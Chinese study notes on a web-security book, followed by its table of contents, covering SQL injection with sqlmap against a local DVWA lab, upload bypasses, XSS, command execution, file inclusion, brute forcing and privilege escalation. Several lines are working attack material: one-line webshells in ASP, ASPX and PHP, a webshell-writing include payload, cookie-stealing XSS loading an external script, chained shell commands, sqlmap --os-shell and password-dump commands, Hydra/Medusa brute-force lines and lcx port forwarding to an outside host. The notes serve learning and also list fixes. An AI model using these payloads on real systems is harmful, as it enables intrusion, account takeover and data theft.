Web安全深度剖析-笔记

网络安全 专栏收录该内容
0 篇文章 0 订阅

Web安全深度剖析-笔记

HTTP基础知识

http是无状态的,请求之后就响应,然后完成,连接关闭。

http请求方法

序号方法描述
1GET请求指定的页面的资源,并返回实体主体。(如果请求资源为php、jsp等,则解析后进行展示)
2HEAD用于获取报头,类似于get请求,只不过返回的响应中没有具体的内容。(常用于扫描)
3POST向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。常用于向服务器发送大量数据。(如请求login.php,并传递账户密码等信息)
4PUT客户端向服务器传送的数据取代指定的内容。(可以在服务器端创建,一般会禁用此方法)
5DELETE请求服务器删除指定的页面。(可以在服务器端删除,一般会禁用此方法)
6CONNECTHTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
7OPTIONS允许客户端查看服务器的性能。(可以查看服务器端允许的请求方法,可以用来收集信息)
8TRACE回显服务器收到的请求,主要用于测试或诊断。

http状态码

常见的HTTP状态码:

200 - 请求成功
301 - 资源(网页等)被永久转移到其它URL
302 - 重定向

400 - 请求语法错误
401 - 请求未经授权
403 - 服务器拒绝提供服务
404 - 请求的资源(网页等)不存在
500 - 内部服务器错误

http消息头(字段)

普通头:包括date消息产生的时间日期、connection指定连接的选项(连续的或不连续的)、cache-control缓存指令。

请求头解释
host域名
user-agent客户端信息
referer上一个页面
cookie表示请求者身份
range请求实体的部分内容
x-forward-forxff头,表示请求段的ip
accept客户端希望接收的消息类型
accept-charset客户端希望接收的字符类型
响应解释
serverWeb服务器的名称
set-cookie向客户端设置cookie
last-modified资源上次修改时间
location重定向的页面位置
refresh定时刷新浏览器
实体头解释
content-type告知客户端实体的类型
content-encoding应用到实体正文中附加内容的编码
content-length实体正文的长度
last-modified资源上次修改时间

截取HTTP请求

工具:burpsuite、fiddler

搜索引擎劫持

现象:直接输入自己网站的域名可直接登录,但是从搜索引擎搜到页面点击时,会跳转到其他页面

http头中有一个字段referer,可记录用户从哪个页面点击过来的,黑客通过user-agent字段实现搜索到从百度等搜索引擎跳转过来的访问请求时,构造一个location字段跳转到其他页面。

Ctrl点击回到目录

SQLmap注入

注意的点:

sqlmap不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点
sqlmap参数区分大小写
添加环境变量:在系统变量的path里面加上sqlmap.py的路径(前提是默认python版本是2才可以),win7的话还要添加可识别的后缀,即pathtxt。

如果你在测试的时候发现sqlmap只检测第一个参数,给URL加个英文引号或许比较好。

注入基础知识

万能密码是典型的SQL注入;

注入基本分为:数字型和字符型,数字型无需闭合引号,字符型需闭合引号;

**查询的方式:**不同的数据库通常有不同的注入方法,但原理基本相似

  1. 枚举表或列来提取信息
  2. 利用数据类型转换错误提取信息
  3. 从数据库系统视图获取源数据
  4. order by、union、having等语句
  5. 数据库提供的函数
  6. 动态执行语句

以上在手工进行SQL注入练习时将详细研究。

使用DVWA来练习使用sqlmap

SQLmap基本使用方法

python2 sqlmap.py -u "带注入点的URL"
如此便可以检测该地址是否存在注入,存在哪几种类型的注入

更多的选项

  • –cookie : 如果网站需要登录则需要设置cookie值
  • -u : 指定目标URL
  • -b : 获取DBMS banner,即数据库信息
  • –dbs : 枚举DBMS中的数据库
  • –current-db : 获取当前数据库名称
  • –current-user : 获取当前用户
  • –users : 枚举DBMS用户
  • –password : 枚举DBMS用户密码hash,一般与-users连用
  • -D : 要枚举的DBMS数据库
  • –tables : 枚举DBMS数据库中的数据表
  • -T : 要枚举的DBMS数据表
  • –columns : 枚举DBMS数据库表中的所有列
  • -C: 要枚举的DBMS数据表中的列
  • –dump : 转储DBMS数据表项

简述利用过程

  1. 带入URL和cookie信息检测是否存在注入点
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low"
  2. 加参数-b --current-db --current-user获取数据库信息,当前数据库名和当前用户等信息
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -b --current-db --current-user
  3. 加参数–users --password获取数据库所有用户名和密码
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" --users --password
  4. 加参数–dbs 获取所有的数据库名
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" --dbs
  5. 加参数-D 确定要采集信息的数据库名,加参数-tables 枚举该数据库的所有表名
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa --tables
  6. 加参数-T 确定要采集信息的数据表名,加参数-columns 枚举该数据表的所有列名(字段)
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa -T users --columns
  7. 加参数-C 确定感兴趣的字段名,加参数-dump将获取的表项存储下来。
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low" -D dvwa -T users -C user,password --dump

最终能够得到可以登录dvwa的所有账户密码。

Database: dvwa
Table: users
[5 entries]
+———+———+———————————————+
| user_id | user| password |
+———+———+———————————————+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99(password) |
| 2 | gordonb |e99a18c428cb38d5f260853678922e03 (abc123) |
| 3 | 1337 |8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| 4 | pablo |0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| 5 | smithy |5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+———+———+———————————————+

原文:http://www.freebuf.com/articles/web/29942.html

其他常用的参数用法

  • 测试注入点权限
    sqlmap.py -u "url" --privileges \测试所有用户权限
    sqlmap.py -u "url" --privileges -U sa \单独测试sa用户的权限

  • 执行shell命令
    sqlmap.py -u [URL] --os-cmd="net user" \执行net user命令
    sqlmap.py -u [URL] --os-shell \系统交互的shell

  • 执行SQL命令
    sqlmap.py -u [URL] --sql-shell \sql交互的shell
    sqlmap.py -u [URL] --sql-query='sql' \sql交互的shell

  • 注入http请求
    DVWA安全级别medium注入方法:中级的页面提交的参数不在地址栏中显示,burp抓包显示参数在http请求的正文中,此时可通过注入http请求的方式,其它步骤基本一致
    sqlmap.py -r head.txt --dbs \head.txt内容为http请求
    head.txt内容如下

    POST /login.php HTTP/1.1
    Host:127.0.0.1/dvwa 
    User—Agent:Mozilla/5.0
    
    username=admin&password=password 
    

    head.txt中最好不要直接用抓包数据,建议删掉cookie、Referer等信息。(正确性待定)

  • 注入http请求2
    sqlmap.py -u "url" --forms \forms参数会自动抓取post包,从而进行注入

  • 将注入语句插入到指定位置
    sqlmap.py -u "http://www.xxser.com/id/2*.html" —dbs \伪静态页面可以利用星号指定注入点

  • 使用sqlmap插件
    sqlmap.py -u [URL] -tamper "base64encode.py" \sqlmap自带的插件可以进行特殊的操作

SQLmap能检测到的注入类型

有以下5种:

  • Boolean-based blind(布尔型注入)
    通过判断页面返回情况获得想要的信息。
  • Error-based(报错型注入)
  • UNION query(可联合查询注入)
  • Stacked queries(可多语句查询注入)
  • Time-based blind(基于时间延迟注入)
    盲注的一种,由于页面无回显,添加sleep函数,通过页面响应时间判断是否执行了函数。

其他检测SQL注入的工具

pangolin(穿山甲)、Havij(萝卜头)

Ctrl点击回到目录

上传漏洞

不对上传文件进行格式限制,导致任意文件上传,这就是一个上传漏洞

WEB解析漏洞简介

上传漏洞通常与WEB解析漏洞配合在一起

IIS6.0解析漏洞

  1. 当文件夹名命名为XX.asa或XX.asp时,文件夹中的所有文件都会被当做asp文件来执行
  2. 当文件命名为*.asp;1.jpg时,此文件会被当做asp文件来执行
  3. WebDav漏洞:开启webdav后,可扩展move、copy、delete等HTTP方法,此时即可put一个a.txt写入一句话木马,并通过copy或move改名为xx.asp,这样即可轻松上传一个webshell。同样可以使用delete方法删除任意文件。

APACHE漏洞

Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰为止,如果都不认识,则会暴露其源代码。比如:1.php.rar ,apache不认识rar后缀,就会解析成php文件。

PHP CGI解析漏洞

Nginx曾经有两个解析漏洞,当在正常网页www.xx.com/1.jpg后面加上/xx.php时(xx.php文件不需要存在),1.jpg就会被当成PHP脚本来运行。
但此漏洞为PHP漏洞,因为PHP的配置文件中cgi.if选项默认开启向前递归解析,当xx.php文件不存在时,就解析上一级文件,造成解析漏洞。

中国菜刀与一句话木马

往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录
通常会构造图片木马,方法:

  • cmd使用copy xx.jpg/b+xx.php/a xxxx.jpg构造图片木马
  • 也可以使用edjpgcom.exe

各语言的一句话代码

asp的一句话是:
<%eval request ("pass")%>
aspx的一句话是:
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
php的一句话是:
<?php @eval($_POST['pass']);?>

利用上传漏洞的方法

客户端使用JavaScript检测后缀名

绕过方法:

  1. 本地构造表单突破验证,或通过firebug(浏览器插件)在页面源代码中删除掉触发JavaScript检测的事件,就可以绕过验证;
  2. 中间人攻击方法,使用burpsuite上传正常后缀的文件,然后再传输中的HTTP层修改后缀名,需同时更改content-length值;

服务端检测文件的mime类型、检测文件扩展名

**黑名单过滤 **

绕过:找开发人员忽略的扩展名、AsP和PhP等大小写转换(win系统会忽略后缀名的大小写)、后缀名后加小数点或空格(win系统会自动忽略后缀名后的小数点或空格)

**白名单过滤 **

绕过:利用IIS 6.0解析漏洞,上传XX.asp;.jpg图片,IIS 6.0会把图片当成脚本执行。

MIME验证

mime类型用来设定某种扩展名文件的打开方式,如GIF图片的mime类型为image/gif
绕过:中间人攻击方法,上传php脚本文件后,HTTP请求头content-type值为applicat/php,将在HTTP请求中的Content-Type更改为image/jpeg类型,即可通过验证。

目录验证

如果在网页源码中可以对上传目录进行控制(修改文件上传的目录),控制文件上传到XX.php文件夹,并提交一句话图片木马,此时可利用IIS 6.0漏洞进行解析。

截断上传

上传1.asp 1.jpg(中间有空格)文件名的木马,在burpsuite的repeater功能hex选项中修改http请求包的空格的HEX值,由20改为00,即将空格改成null值。上传后文件名即为1.asp

文本编辑器上传漏洞

举例:fckeditor类似于插件,常插入到网站中,例如论坛。2.4.2版本以前有上传漏洞,可通过00截断上传脚本,获取webshell

具体方法:

  1. 打开某网站主页,在地址后面添加“/fckeditor“,若出现禁止访问,则判断有fckeditor编辑器;
  2. 在地址后面继续添加“/_whatsnew.html”就回返回fckeditor的版本信息;
  3. 打开存在漏洞的上传页面:地址+FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
  4. 上传一个asp脚本,命名为1.asp.jpg,并在burpsuite的hex中将jpg前点的二进制码改为00,即可上传成功;
  5. 然后即可使用菜刀连接

.htaccess文件攻击

如果可以上传自定义的htaccess文件,并覆盖掉原来的文件
可以在里面添加如下内容,意为:文件名中包含haha的文件都当做PHP文件执行,此时便可直接菜刀连接。

<FilesMatch "haha">
SetHandler application/x-httpd-php
</FilesMatch>

修复上传漏洞

上传漏洞的原因:

  • 未限制上传文件类型;
  • 目录过滤不严,攻击者可建立畸形目录;
  • 文件未重命名,攻击者可利用web容器解析漏洞;

解决以上问题,基本可以避免上传漏洞,但不绝对。

Ctrl点击回到目录

XSS跨站脚本漏洞

xss属于客户端攻击

用户浏览嵌入恶意代码的网页时,恶意代码会在用户浏览器上执行操作,理论上与服务器无关系,只攻击用户,但网站管理员也是用户!。

  • 最简单的xss举例
    在网页的文本输入框内,输入<script>alert(/xss/)</script>,提交后即可弹窗
  • 复杂的xss举例
    在网页的文本输入框内,输入<script src="http://www.xx.com/x.txt"></script>,提交后即可从外部加载脚本,实现诸如获取用户cookie,或是监控键盘记录等等。

XSS的主要类型:反射型、存储型、DOM型

反射型

非持久性XSS,每当用户访问一个带有xss代码的网页时,服务器发送数据到用户浏览器,浏览器在解析这段xss代码,造成xss漏洞。

存储型

持久性XSS,当页面允许用户存储数据时,攻击者提交一段xss代码后被服务器接收并存储,当攻击者再次访问这个被存储的数据时,这段xss代码就会被读出来,响应给浏览器,造成xss攻击。
当存储数据时还要考虑是否需要闭合HTML代码,保证xss代码被执行。

DOM型

入门阶段不做深入研究

测试XSS漏洞

可得知输入位置(能在页面查看源码)

输入aaaaaaa<>'"&然后在源码中查找aaaaaaa,可得知程序是否对敏感字符做过滤;

无法得知输入位置

留言过后需要管理员审核的情况,无法得知数据在后台页面处于何种状态,通常采用输入/>xss test来测试

全自动测试

APPscan、AWVS、burpsuite都可以有效检测xss漏洞。但短信验证、验证码检测的页面就需要手工进行检测了

XSS会话劫持

cookie简介

cookie允许服务器存储少量的数据到客户端硬盘,并通过读取这些数据标识用户,维持会话。
cookie分内存cookie(存在时间短,浏览器关闭即消失)和硬盘cookie(存在时间较长)。
cookie通常由变量名和值组成,可能还有date用来确定失效时间、domain和path设置允许访问cookie的范围、secure加密协议才可使用cookie。还有HttpOnly字段,禁止JavaScript读取cookie,此字段可有效防止xss会话劫持。

cookie的利用

cookie有时会用来做身份验证,黑客获取到cookie即可使用burpsuite等工具实现无密码登录。

SESSION简介

用户浏览一个网页即是一个客户端与服务端的会话,被称为SESSION。
SESSION是一个随机不重复的的“编号”,随浏览器和服务器关闭。
SESSION可以存储在cookie中,作为临时cookie。cookie和SESSION的最大区别是,cookie存储于客户端,SESSION存储于服务端,其在客户端仅显示为一个ID。
当会话未关闭时,获取到session同样可以 会话劫持。

XSS框架

xss框架是一组JavaScript工具集合,如键盘记录,盗取cookie,表单劫持的等,国内最著名的是xsser.me

XSS可能发生的场景

  1. 输入的数据在标签内部
    最简单的的跨站,无需构造标签
    <div>${input}</div>
    ---------------->
    <div><script>alert(/xss/)</script></div>
  2. 输入的数据在属性内部
    仅仅需要闭合标签即可进行xss操作
    <div class="${input}"></div>
    ---------------->
    <div class=""><script>alert(/xss/)</script>"></div>
    <div class="" onclick="alert(/xss/)"></div>
  3. 输入的数据在事件中输出
    与属性内输入相同
    <img src="xx.jpg" onerror="${input}">
    ---------------->
    <img src="xx.jpg" onerror=""><script>alert(/xss/)</script>">
    <img src="xx.jpg" onerror="" onclick="alert(/xss/)">
  4. 在CSS中输出
    css中输出同样存在xss风险
    <style type="text/css">
    body {background-img:url("${input}");}
    </style>
    ---------------->
    body {background-img:url("javascript:alert('xss')");}
  5. 在script标签内输出
    <script>
    var usrname = "${input}"
    </script>
    ---------------->
    var usrname = "1";alert(/xss/);//"此处的//为javascropt简称js的注释标记

XSS的修复

XSS的形成,是因为未对输入和输出进行严格的过滤,导致在页面执行JavaScript等客户端脚本。

  1. 在HTML中对特殊字符<>/'"&等符号进行字符转义
  2. 打开cookie中HttpOnly属性
    此对防御xss不起作用,主要防止xss漏洞后续的cookie劫持攻击。xss的攻击手段太多,能够模拟正常操作,盗取信息,钓鱼等等,仅靠httponly不够。

Ctrl点击回到目录

命令执行漏洞

OS命令执行漏洞

OS命令执行漏洞可以直接执行系统层或应用层命令

通过客户端、页面等在服务器端执行系统命令。
产生原因:命令可连接执行
ping 8.8.8.8 && net user
其他命令连接符:如&、||、|等

举例如dvwa的命令执行漏洞。

代码执行漏洞

代码执行漏洞通过执行脚本代码来调用操作系统命令

php命令执行漏洞

主要是一些函数的参数过滤不严格所导致,可以执行OS命令的函数一共有7个:system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()

JAVA命令执行漏洞

Java SE存在runtime类,提供exec方法以执行字符串命令。

框架执行漏洞

框架,即framework。是某种应用的半成品,是一组组件,供你选用完成你自己的系统。
框架出现漏洞影响范围会比较大。

struts2代码执行漏洞

struts2是java的三大框架之一,历史上爆发多次命令执行漏洞,可以使用K8漏洞利用工具进行检测。

ThinkPHP命令执行漏洞

是一款老牌PHP框架,曾发生过任意代码执行漏洞,可插入一句话木马,使用菜刀连接。

防范命令执行漏洞

使用执行命令的函数方法要做好敏感字符过滤和转义,并确保输入可控。

“有输入的地方就有可能存在漏洞。” —— 一句老话

Ctrl点击回到目录

文件包含漏洞入门

包含漏洞经常出现在PHP语言中,文件包含漏洞分为本地包含和远程包含

本地包含

PHP中常用的文件包含函数include() require()
当包含一个php文件时会执行它(上传恶意代码来包含),当包含非php语法规范的文件时会暴露文件的内容(可用于查看配置文件)

远程包含

需要开启远程包含选项(默认关闭的)
可连接到外部网站,可连接一个其他网站的php木马,在网站执行

利用方式

  1. 本地包含读取敏感配置文件

  2. 远程包含一句话木马,意为新建一个shell.php,内容为php一句话木马内容

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxser]);?>")?>

  3. 利用文件上传后配合本地包含来执行

  4. 利用PHP自带的封装协议

    php://可以用来读取php文件的内容,直接包含的话会执行PHP文件;

    php://input在远程包含选项开启的情况下,可以用此协议执行PHP语句;

  5. 包含apache日志

    当存在文件包含漏洞却无法找到合适的文件来利用时,可以找apache的日志文件路径(重点),然后直接访问http://www.xxser.com/<?php info();?>再通过burp编码防止地址中的特殊符号被转码,然后就可以在日志文件中生成有完整PHP代码的日志记录,在利用包含漏洞如包含日志文件,即可执行其中的PHP代码

  6. 截断包含

    当文件包含时被限定扩展名只能为php时(无法通过上传图片木马创建一句话木马),使用%00截断字符放在图片文件扩展名后,截断扩展名限制。仅限未对特殊字符转义的情况下。

修复方法

  1. 严格判断包含中的参数是否外部可控;代码层面
  2. 限制被包含文件所在路径,并限制目录跳转字符../
  3. 为被包含文件设置白名单;
  4. 尽量不使用动态包含;

Ctrl点击回到目录

其他漏洞

CSRF跨站请求伪造

在浏览器和服务器的会话未结束时,利用用户的权限执行操作,别称”one click attack“

即通过输入特定的URL或者访问特定的HTML文件已达到执行某些敏感操作的目的,能够这样操作的站点均存在CSRF漏洞。

测试方法

OWASP-CSRFTester-1.0

设代理–抓取–修改参数构建HTML测试包–使用HTML测试

Burpsuite

在安全度low的dvwa的CSRF测试页面随意提交一些数据,然后抓包,右键选择Engagement tools – Generate CSRF PoC,在参数页面修改想要提交的参数值,点击左下角Generate生成攻击脚本,可直接复制URL在浏览器测试,或复制html文本到本地打开,能够达到预期的效果即存在CSRF漏洞。

解决方法

  1. 二次点击确认操作

  2. token认证:

    用户登录时随机分配一段字符串,存储在session中,提交表单参数时,token作为一个参数存在,以确认操作是不是正常请求。如果是GET请求,无参数传递,则将token值存储在cookie中,完成后更新token值。

csrf是xss的缩小版,xss危害比csrf大,如果存在xss则防范csrf无意义。

逻辑错误漏洞

逻辑漏洞:程序开发时,遗漏某些可能出现的情况,或不能正确处理,导致逻辑上的漏洞,比如越权。

越权访问:

水平越权:相同级别、权限的不同用户之间越权访问、修改或删除等操作。容易造成大批量用户信息泄露或信息恶意篡改。

垂直越权:不同级别、权限的用户之间,分为向上越权和向下越权。

密码找回逻辑漏洞:

通过邮箱找回密码的步骤一般是:1. 首先验证该用户的密码找回邮箱是否正确;2. 向该邮箱发送密码重置的链接。
如果可以抓包修改向哪个邮箱发送链接,即可使用自己的邮箱接收他人的密码重置链接。

支付逻辑漏洞:

商品数量为负数:当某购物网站未对商品的数量进行验证,修改商品数量为负数,则付款金额为负数,购买完成时自己的余额便会增加相应的数量,此为“刷钱漏洞”。

**0元购买商品:**案例:一般程序会有异常处理机制,比如尝试将某字符串转换为数字时,为了不让程序崩溃,会将此变量赋值为某个初始值(比如0)并抛出异常提示。如果没有中断此进程,这个0值可能参与接下来的程序运行。 如将单价抓包修改为字符串,产生异常后程序将单价赋值为0,如果继续付款就会以0元单价购买商品。

**指定账户恶意攻击:**案例:某拍卖行账户输入密码错误次数3次后锁定1天,如果攻击者得知竞争对手的拍卖账户,每天0点恶意尝试密码以致账户锁定,则会产生不公平竞争。
如果网站账户可以轻易获取,并存在登录失败锁定功能,则可判断其存在信息泄露或指定账户恶意攻击漏洞。

代码注入

两种定义:1,客户端提交的代码在服务器端当做动态代码或嵌入文本处理;2,客户端提交的代码未经检查就让服务器来执行。
1定义 包含OS命令执行、文件包含、动态函数调用、代码执行等;
2定义 则将SQL注入、XML注入、xss文件包含、命令执行等都视为代码注入范围。

XML注入

xml一般用于网络数据的转换和描述,而非显示。

此类型注入比较少见,利用方式为:如果某网站采用xml文件保存重要的登录信息且事先了解到xml的表结构,则通过闭合标签向xml写入数据,即可拥有随意新建账户的能力。

XPath注入

xpath是XML路径语言,可把xml文件当做数据库表,通过xpath语言进行查询,此时攻击方法类似SQL注入。

解决方法:对xpath查询语句进行预定义字符转换。

JSON注入

json是JavaScript的一种轻量级的数据交换格式,功能与xml类似。在json中插入特殊字符,如引号,仅会破坏json的表结构,导致解析失败。

解决方法:对存储到json的特殊字符进行转义。

HTTP 参数污染

HTTP请求中可以传输多个相同的参数项,而不同的web容器会选取不同位置的参数来取值,此时可利用参数污染来绕过WAF。

PHP:news.php?id=1&id=select username,password from admin--
WAF认为此请求的参数为id=1,而PHP取值select username,password from admin--

ASP:news.aspx?id=1;&id=s&id=l&id=e&id=c&id=t&
asp将会把相同参数的值链接在一起使用,此时会取值id=1;&id=select

URL跳转

客户端跳转:也称为URL重定向,浏览器地址栏会有明显的变化,在HTTP请求头中可以看到302指示。可能产生URL重定向漏洞。

服务器跳转:也称为URL转发,浏览器地址栏无变化,无法利用。

<a>标签跳转既不属于转发,也不属于重定向,<a href= "http://www.xxser.com/news.jsp">新闻列表<\a>

案例:

QQ发送求投票的钓鱼网站,打开后请求qq登录盗取QQ密码,漫游聊天记录信息进行社工,仿照被攻击的聊天习惯向好友发送诈骗信息。

webserver远程部署

Tomcat

tomcat是一个流行的Java web应用服务器,安装后默认端口为8080,Tomcat的默认部署界面存在manager管理页面,如果拥有manager权限账号即可远程管理网站,上传web shell,默认的存在admin/admin的管理密码。

JBoss

JBoss是JavaEE的开源应用服务器,一般与Tomcat或jetty绑定使用,安装后默认端口为8080,JBoss的默认部署界面存在JMX Console管理页面,且默认无需密码验证就可以远程部署webserver。

WebLogic

weblogic是BEA的一个应用服务器,基于JavaEE的中间件,安装后默认端口7001,URL后添加console即可跳转至管理界面,新版本对管理界面的密码策略要求严格,基本无法破解,老版本存在账密相同的Weblogic,system,guest,portaladmin等弱口令。

Ctrl点击回到目录

实战篇知识点

0day

原意指的是软件第一天发布就被他人破解了,现在一般指无补丁的漏洞。一般通过源代码审计来挖掘0day漏洞。

网站后台安全

主题样式可编辑可以插入一句话木马
后台文件管理功能
后台执行SQL语句管理数据库功能
备份数据库功能可以让程序将图片木马备份成脚本文件

MD5加密

普通的md5密文70%可以通过解密网站进行破解,安全的加密方法为:一次md5加密后在制定位置添加一段密文进行二次md5加密,即可提高破解难度。

拖库

知道数据库密码且支持外连接的情况下,可以使用navcat连接拖库;

不支持外连接只能通过SQL注入,提权,本地导出等方法;

Ctrl点击回到目录

综合篇知识点

暴力破解测试

SQL server数据库端口1433
Oracle数据库端口1521
MySQL数据库端口3306
DB2数据库端口5000

爆破工具Hydra

命令演示(需在hydra.exe的目录的cmd下运行):
hydra -l root -P C:/passlist.txt 192.168.1.1 mysql
指定用户root,使用密码txt文件破解密码,目标为192.168.1.1的MySQL数据库

hydra -L c:/user.txt -P c:/pass.txt -t 5 192.168.1.1 ftp
同时爆破192.168.1.1的ftp用户和密码,指定线程为5

hydra -l Administrator -P c:/pass.txt www.xxser.com rdp -V
爆破rdp(Windows远程桌面)密码

爆破工具Medusa

命令演示,工具在kali里面有集成

medusa -h 192.168.1.1 -u root -P pass.txt -M mysql

验证码爆破

一般手机邮件接收的验证码为4位数字,30min有效,只要在30min内遍历0000~9999即可爆破验证码。

防止爆破

密码复杂性、复杂的验证码、限制登录次数

旁注攻击

旁注攻击即通过与目标网站同服务器的其他网站渗透到目标网站,再通过提权获取目标站点的权限。这一过程就是旁注攻击的过程。

IP逆向查询

通过网站域名查询IP地址,再通过IP地址查询相同IP地址的站点。

如果其中一个网站存在注入点,则可能获取整个服务器上所有的数据库表。此外还能使用目录越权、构造注入点(仅用于知道数据库账密,但无法直接连接的情况)

CDN

CDN就是将原服务器上可以缓存的文件(静态文件、图片、JS、CSS等)下载到缓存服务器,当用户在访问你的域名时,将会访问缓存服务器,而不是直接去访问源服务器。

服务器使用cdn后真实IP地址会被隐藏,此时可通过1,寻找网站phpinfo()页面获取服务器配置信息;2,主域名会用cdn,子域名不一定,ping没有用cdn的子域名地址即可获取ip;3,观察IP变化,猜测真实IP地址。(3?)

提权

溢出提权:在有溢出漏洞的机器上执行溢出程序,可获得一个root shell

第三方组件提权:数据库提权(注入点或执行系统命令)、FTP提权(ftp可执行系统命令或ftp软件漏洞)、PcAnywhere远控软件提权

提权辅助:

  1. 3389端口:获取服务器cmdshell权限后,可通过bat代码开启RDP服务;

  2. 端口转发:使一个外部用户从外部连接一个在私有局域网内部上的一个端口。工具:lcx、reDuh等

    简单利用方法(lcx):

    1. 个人主机用lcx监听500 8888端口;lcx listen 500 8888
    2. 内网服务器将端口数据转发;lcx.exe -slave 个人主机IP地址 500 127.0.0.1 3389
    3. 外部主机通过mstsc 127.0.0.1:8888即可连接内网主机

    原理:外部主机无法直接连接内网服务器,但可以让内网服务器主动将自己的3389发送到外部主机的指定端口上,这样通过外部主机的指定端口就可以连接内部主机主动转发的3389端口,即可实现远程控制。

  3. 启动项提权:编写一个创建admin账户的bat脚本,放在启动文件夹里

  4. DLL劫持:任何exe文件的文件夹下如果有lpk.dll则会运行,否则运行系统目录下的dll文件。利用工具T00ls Lpk Sethc可以制作dll文件后门。

  5. 添加后门:创建隐藏的账户

ARP欺骗攻击

使用arp攻击欺骗局域网内的其它主机,自己可以作为中间人截取其他主机之间的通信,还可以实现域名劫持。

防御方法包括:1,静态arp地址绑定;2,arp软件防火墙(简单操作即可追踪,拦截arp攻击)

社会工程学

《欺骗的艺术》–凯文.米特尼克


总结

18/11/5看完第一遍,只是一知半解,后续进入实战的练习中了。。。

加油吧 骚年~



  • 1
    点赞
  • 1
    评论
  • 26
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

第1篇 基础篇 第1章 Web安全简介 2 1.1 服务器是如何被入侵的 2 1.2 如何更好地学习Web安全 4 第2章 深入请求流程 6 2.1 协议解析 6 2.1.1 发起请求 6 2.1.2 协议详解 7 2.1.3 模拟请求 13 2.1.4 协议与S协议的区别 14 2.2 截取请求 15 2.2.1 Burp Suite Proxy 初体验 15 2.2.2 Fiddler 19 2.2.3 WinSock Expert 24 2.3 应用:黑帽SEO之搜索引擎劫持 24 2.4 小结 25 第3章 信息探测 26 3.1 Google Hack 26 3.1.1 搜集子域名 26 3.1.2 搜集Web信息 27 3.2 Nmap初体验 29 3.2.1 安装Nmap 29 3.2.2 探测主机信息 30 3.2.3 Nmap脚本引擎 32 3.3 DirBuster 33 3.4 指纹识别 35 3.5 小结 38 第4章 漏洞扫描 39 4.1 Burp Suite 39 4.1.1 Target 39 4.1.2 Spider 40 4.1.3 Scanner 42 4.1.4 Intruder 43 4.1.5 辅助模块 46 4.2 AWVS 49 4.2.1 WVS向导扫描 50 4.2.2 Web扫描服务 52 4.2.3 WVS小工具 53 4.3 AppScan 54 4.3.1 使用AppScan扫描 55 4.3.2 处理结果 58 4.3.3 AppScan辅助工具 58 4.4 小结 61 第2篇 原理篇 第5章 SQL注入漏洞 64 5.1 SQL注入原理 64 5.2 注入漏洞分类 66 5.2.1 数字型注入 66 5.2.2 字符型注入 67 5.2.3 SQL注入分类 68 5.3 常见数据库注入 69 5.3.1 SQL Server 69 5.3.2 MySQL 75 5.3.3 Oracle 84 5.4 注入工具 89 5.4.1 SQLMap 89 5.4.2 Pangolin 95 5.4.3 Havij 98 5.5 防止SQL注入 99 5.5.1 严格的数据类型 100 5.5.2 特殊字符转义 101 5.5.3 使用预编译语句 102 5.5.4 框架技术 103 5.5.5 存储过程 104 5.6 小结 105 第6章 上传漏洞 106 6.1 解析漏洞 106 6.1.1 IIS解析漏洞 106 6.1.2 Apache解析漏洞 109 6.1.3 PHP CGI解析漏洞 110 6.2 绕过上传漏洞 110 6.2.1 客户端检测 112 6.2.2 服务器端检测 115 6.3 文本编辑器上传漏洞 123 6.4 修复上传漏洞 127 6.5 小结 128 第7章 XSS跨站脚本漏洞 129 7.1 XSS原理解析 129 7.2 XSS类型 130 7.2.1 反射型XSS 130 7.2.2 存储型XSS 131 7.2.3 DOM XSS 132 7.3 检测XSS 133 7.3.1 手工检测XSS 134 7.3.2 全自动检测XSS 134 7.4 XSS高级利用 134 7.4.1 XSS会话劫持 135 7.4.2 XSS Framework 141 7.4.3 XSS GetShell 144 7.4.3 XSS蠕虫 149 7.5 修复XSS跨站漏洞 151 7.5.1 输入与输出 151 7.5.2 HttpOnly 158 7.6 小结 160 第8章 命令执行漏洞 161 8.1 OS命令执行漏洞示例 161 8.2 命令执行模型 162 8.2.1 PHP命令执行 163 8.2.2 Java命令执行 165 8.3 框架执行漏洞 166 8.3.1 Struts2代码执行漏洞 166 8.3.2 ThinkPHP命令执行漏洞 169 8.3 防范命令执行漏洞 169 第9章 文件包含漏洞 171 9.1 包含漏洞原理解析 171 9.1.1 PHP包含 171 9.1.2 JSP包含 180 9.2 安全编写包含 184 9.3 小结 184 第10章 其他漏洞 185 10.1 CSRF 185 10.1.1 CSRF攻击原理 185 10.1.2 CSRF攻击场景(GET) 186 10.1.3 CSRF攻击场景(POST) 188 10.1.4 浏览器Cookie机制 190 